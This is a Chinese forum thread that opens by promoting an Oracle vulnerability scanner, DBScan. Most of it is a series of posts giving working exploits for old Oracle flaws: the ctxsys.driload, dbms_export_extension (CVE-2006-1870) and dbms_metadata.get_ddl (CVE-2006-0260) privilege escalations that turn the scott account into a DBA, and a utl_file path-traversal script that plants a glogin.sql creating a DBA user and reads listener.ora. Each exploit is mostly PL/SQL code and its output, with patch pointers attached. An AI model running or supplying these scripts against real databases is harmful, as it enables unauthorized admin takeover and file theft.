◆Oracle漏洞检测系统--DBScan◆DBSafe小组推出的DBScan for Oracle,目前可检测Oracle的200多种安全漏洞,包括弱口令、权限提升、拒绝服务攻击等。测试版下载: http://www.dbscan.cn/down/scyths.rar感兴趣的朋友可以下载来测试一下。提供建议的都有至少200分相送,分不够另外开贴,先谢了!功能特点:◆ DBScan使用的是基于B/S的管理方式,用户使用浏览器通过128位SSLv3加密通道和系统Web界面模块进行交互,方便用户管理。 
◆ 提供Open VM(Open Vulnerability Management 开放漏洞管理)工作流程平台,将先进的数据库安全管理理念贯穿整个产品实现过程中。 
◆ DBScan是基于Internet/Intranet的网络化结构,检测的数据库服务器IP地址由检测人员自行定义,只要网络连通即可进行检测。 
◆ 客户端与服务端通信采用ZLIB压缩技术,通信数据流量只为压缩前数据流量的20%。 
◆ 完善的数据库安全检测引擎,支持大规模并发检测,对于大型的机构和组织,拥有众多的数据库服务器,这些服务器可能分布在不同的机房、数据中心,安装着不同的操作系统,DBScan可以简单的只需输入服务器IP地址,即可由检测引擎完成大量的人工手段无法完成的复杂检测工作并生成详细的检测报告。 
◆ 全面支持国际安全组织CVE(Common Vulnerabilities & Exposures,通用漏洞披露)标准漏洞库,所有漏洞数据均取自CVE,保证100%兼容。 
◆ 全面支持CVSS漏洞评分标准,检测报告累计计算CVSS总得分,分值越大,风险越大。 

解决方案 »

  1.   

    欢迎访问: http://www.dbscan.cn“安全无边界,数据库安全才是真正的安全!”
      

  2.   

    关注数据库安全的还不是很多,在这个帖子里我会陆续介绍一些数据库的漏洞和可能造成的风险,希望此贴不沉。Oracle中ctxsys.driload 提升权限漏洞影响平台:Windows,UNIX攻击需求:必须取得帐号造成危害:取得管理员权限内容描述:Oracle9i Database Servers v9.0.1.3, 9.2.0.4及Oracle8i Database Server v8.1.7.4存在存取确认弱点,
             ctxsys.driload package允许用户以DBA权限执行命令,通过验证的用户可以利用此弱点取得管理员权限.用scott/tiger登陆,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA,有兴趣的可以自行测试。测试代码:sqlplus scott/tiger@orcl1.查询scott的当前角色SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色2.利用漏洞执行权限提升SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
    *
    ERROR at line 1:
    ORA-06510: PL/SQL: unhandled user-defined exception
    ORA-06512: at "CTXSYS.DRILOAD", line 42
    ORA-01003: no statement parsed
    ORA-06512: at line 1sqlplus中显示执行错误,但是实际上已经提升权限成功了。3.断开连接
    SQL> disc;4.重新连接
    SQL> conn scott/tiger@orcl;5.再次查询scott的当前角色
    SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE
    DBA
    SELECT_CATALOG_ROLE
    HS_ADMIN_ROLE
    EXECUTE_CATALOG_ROLE
    DELETE_CATALOG_ROLE
    EXP_FULL_DATABASE
    IMP_FULL_DATABASE
    GATHER_SYSTEM_STATISTICS
    WM_ADMIN_ROLEROLE
    ------------------------------------------------------------
    JAVA_ADMIN
    JAVA_DEPLOY
    XDBADMIN
    OLAP_DBA已选择15行。看到权限已经提升为DBA这个漏洞在oracle 8/9中普遍存在。
      

  3.   

    【漏洞编号】 CVE-2006-1870【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞【影响平台】 Oracle 8i / 9i / 10g / XE 【风险等级】 高【攻击需求】 较低权限账号【造成危害】 取得管理员权限【内容描述】     Oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,由于DBMS_EXPORT_EXTENSION package中的GET_DOMAIN_INDEX_METADATA程序存在漏洞远端攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。【测试代码】 1、用scott/tiger登陆Oracle,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。sqlplus scott/tiger@orcl2、查询scott的当前角色SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色3、利用漏洞执行权限提升SQL> 
    -- Create a function in a package first and inject this function. The function will be executed as user SYS.
    CREATE OR REPLACE
    PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER;
    END;
    /CREATE OR REPLACE PACKAGE BODY HACKERPACKAGE
    IS
    FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
    RETURN NUMBER
    IS
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    COMMIT;
    RETURN(1);
    END;END;
    /-- Inject the function in dbms_export_extensionDECLARE
    INDEX_NAME VARCHAR2(200);
    INDEX_SCHEMA VARCHAR2(200);
    TYPE_NAME VARCHAR2(200);
    TYPE_SCHEMA VARCHAR2(200);
    VERSION VARCHAR2(200);
    NEWBLOCK PLS_INTEGER;
    GMFLAGS NUMBER;
    v_Return VARCHAR2(200);
    BEGIN
    INDEX_NAME := 'A1';
    INDEX_SCHEMA := 'SCOTT';
    TYPE_NAME := 'HACKERPACKAGE';
    TYPE_SCHEMA := 'SCOTT';
    VERSION := '9.2.0.1.0';
    GMFLAGS := 1;v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => INDEX_NAME, 
    INDEX_SCHEMA => INDEX_SCHEMA, 
    TYPE_NAME => TYPE_NAME, 
    TYPE_SCHEMA => TYPE_SCHEMA, 
    VERSION => VERSION, 
    NEWBLOCK => NEWBLOCK, 
    GMFLAGS => GMFLAGS);
    END;
    /sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。4、断开连接SQL> disc;5、重新连接SQL> conn scott/tiger@orcl;6、再次查询scott的当前角色SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE
    DBA
    SELECT_CATALOG_ROLE
    HS_ADMIN_ROLE
    EXECUTE_CATALOG_ROLE
    DELETE_CATALOG_ROLE
    EXP_FULL_DATABASE
    IMP_FULL_DATABASE
    GATHER_SYSTEM_STATISTICS
    WM_ADMIN_ROLEROLE
    ------------------------------------------------------------
    JAVA_ADMIN
    JAVA_DEPLOY
    XDBADMIN
    OLAP_DBA已选择15行。看到权限已经提升为DBA【修补方式】
        
        参考Oracle Critical Patch Update - April 2006,执行修补.
        
    【相关连结】◇、Oracle Critical Patch Update - April 2006 http://www.oracle.com/technology/deploy/security/pdf/cpuapr2006.html◇、US-CERT Technical Cyber Security Alert TA06-109A http://www.us-cert.gov/cas/techalerts/TA06-109A.html◇、US-CERT Vulnerability Note VU#452681 http://www.kb.cert.org/vuls/id/452681◇、BugTraq Mailing List-"Oracle10g 10.2.0.2.0 DBA exploit" http://archives.neohapsis.com/archives/bugtraq/2006-04/0375.html◇、BugTraq Mailing List-"Recent Oracle exploitis_actually_an 0day with no patch" http://archives.neohapsis.com/archives/bugtraq/2006-04/0539.html【发布日期】 2006-04-29
      

  4.   

    【漏洞编号】 CVE-2006-0260【漏洞名称】 sys.dbms_metadata.get_ddl 提升权限漏洞【影响平台】 Oracle 9i / 10g 【风险等级】 高【攻击需求】 较低权限账号【造成危害】 取得管理员权限【内容描述】     Oracle Database server 9.2.0.7 and 10.1.0.5存在SQL注入弱点, sys.dbms_metadata.get_ddl允许用户以DBA权限执行命令,通过验证的用户可以利用此弱点取得管理员权限。【测试代码】 1、用scott/tiger登陆Oracle,scott是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。sqlplus scott/tiger@orcl2、查询scott的当前角色SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE可以看到scott只有CONNECT和RESOURCE两个权限较低的角色3、利用漏洞执行权限提升,在SQLPlus中执行如下语句:SQL>
    -- Create a function first and inject this function. The function will be executed as user SYS.
    CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
    authid current_user as
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
    COMMIT;
    RETURN '';
    END;
    /-- Inject the function in the vulnerable procedure
    SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;错误:ORA-31600: invalid input value '||SCOTT.ATTACK_FUNC()||' for parameter OBJECT_TYPE in function GET_DDL
    ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
    ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
    ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
    ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
    ORA-06512: at "SYS.DBMS_METADATA", line 504
    ORA-06512: at "SYS.DBMS_METADATA", line 560
    ORA-06512: at "SYS.DBMS_METADATA", line 1221
    ORA-06512: at line 1sqlplus中显示执行错误,但是实际上已经提升权限成功了。4、断开连接SQL> disc;5、重新连接SQL> conn scott/tiger@orcl;6、再次查询scott的当前角色SQL> select * from session_roles;ROLE
    ------------------------------------------------------------
    CONNECT
    RESOURCE
    DBA
    SELECT_CATALOG_ROLE
    HS_ADMIN_ROLE
    EXECUTE_CATALOG_ROLE
    DELETE_CATALOG_ROLE
    EXP_FULL_DATABASE
    IMP_FULL_DATABASE
    GATHER_SYSTEM_STATISTICS
    WM_ADMIN_ROLEROLE
    ------------------------------------------------------------
    JAVA_ADMIN
    JAVA_DEPLOY
    XDBADMIN
    OLAP_DBA已选择15行。看到权限已经提升为DBA【修补方式】
        
        Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.【相关连结】◇、16287 http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html◇、VU#545804 http://www.kb.cert.org/vuls/id/545804◇、ADV-2006-0243 http://www.frsirt.com/english/advisories/2006/0243◇、18493 http://secunia.com/advisories/18493◇、ADV-2006-0323 http://www.frsirt.com/english/advisories/2006/0323◇、18608 http://secunia.com/advisories/18608◇、1015499 http://securitytracker.com/id?1015499◇、22543 http://www.osvdb.org/22543◇、22643 http://www.osvdb.org/22643◇、22637 http://www.osvdb.org/22637◇、oracle-january2006-update(24321) http://xforce.iss.net/xforce/xfdb/24321【发布日期】 2006-01-18【更新日期】 2006-05-02
      

  5.   

    作为一个DBA来说这个东西可能没有什么用
      

  6.   

    关于数据库安全的话题太枯燥,关注的人不多,以后每周发布一次(个)安全漏洞,大家留下些印象也好。【漏洞名称】        sys.utl_file 读写文件漏洞【影响平台】        Oracle 8 / 8i / 9i【风险等级】        中【攻击需求】        拥有CREATE ANY DIRECTORY权限账号【造成危害】        读取文件、重命名文件【内容描述】            Oracle Database Server 8i and 9i 允许远程攻击者通过特殊构造的函数("\\.\\..")读取或重命名文件。【测试代码】        --Create a file mytextfile.txt in the same directory referenced by MEDIA_DIR directory object.
    declare
    f utl_file.file_type;
    begin
    f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\glogin.sql','w',1000);
    UTL_FILE.PUT_LINE (f,'CREATE USER HACKER IDENTIFIED BY HACKER;',TRUE);
    UTL_FILE.PUT_LINE (f,'GRANT DBA TO HACKER;',TRUE);
    UTL_FILE.FCLOSE(f);
    end;--Read arbitrary files in the same drive as the directory referenced by MEDIA_DIR directory object.
    SET SERVEROUTPUT ON
    declare
    f utl_file.file_type;
    sBuffer Varchar(8000);
    begin
    f:=UTL_FILE.FOPEN ('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\oracle\ora92\network\ADMIN\listener.ora','r');
    loop
    UTL_FILE.GET_LINE (f,sBuffer);
    DBMS_OUTPUT.PUT_LINE(sBuffer);
    end loop;
    EXCEPTION
    when no_data_found then
    UTL_FILE.FCLOSE(f);
    end;--Rename any file in the same drive as the directory referenced by MEDIA_DIR directory object
    begin
    UTL_FILE.frename('MEDIA_DIR','\\.\\..\\.\\..\\.\\myoldtextfile.txt','MEDIA_DIR','\\.\\..\\.\\..\\.\\mynewtextfile.txt',TRUE);
    end;【修补方式】
        
        Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.
      

  7.   

    数据库安全和操作系统安全是两个不同的概念,大型数据库都是可端口寻址的,好比一个壁垒森严的堡垒有一个打开的窗户,有经验的入侵者就可能通过这个窗户进入城堡甚至进而控制整个系统。[color=#FF0000]漏洞补不完,安全无边界![/color]
    呵呵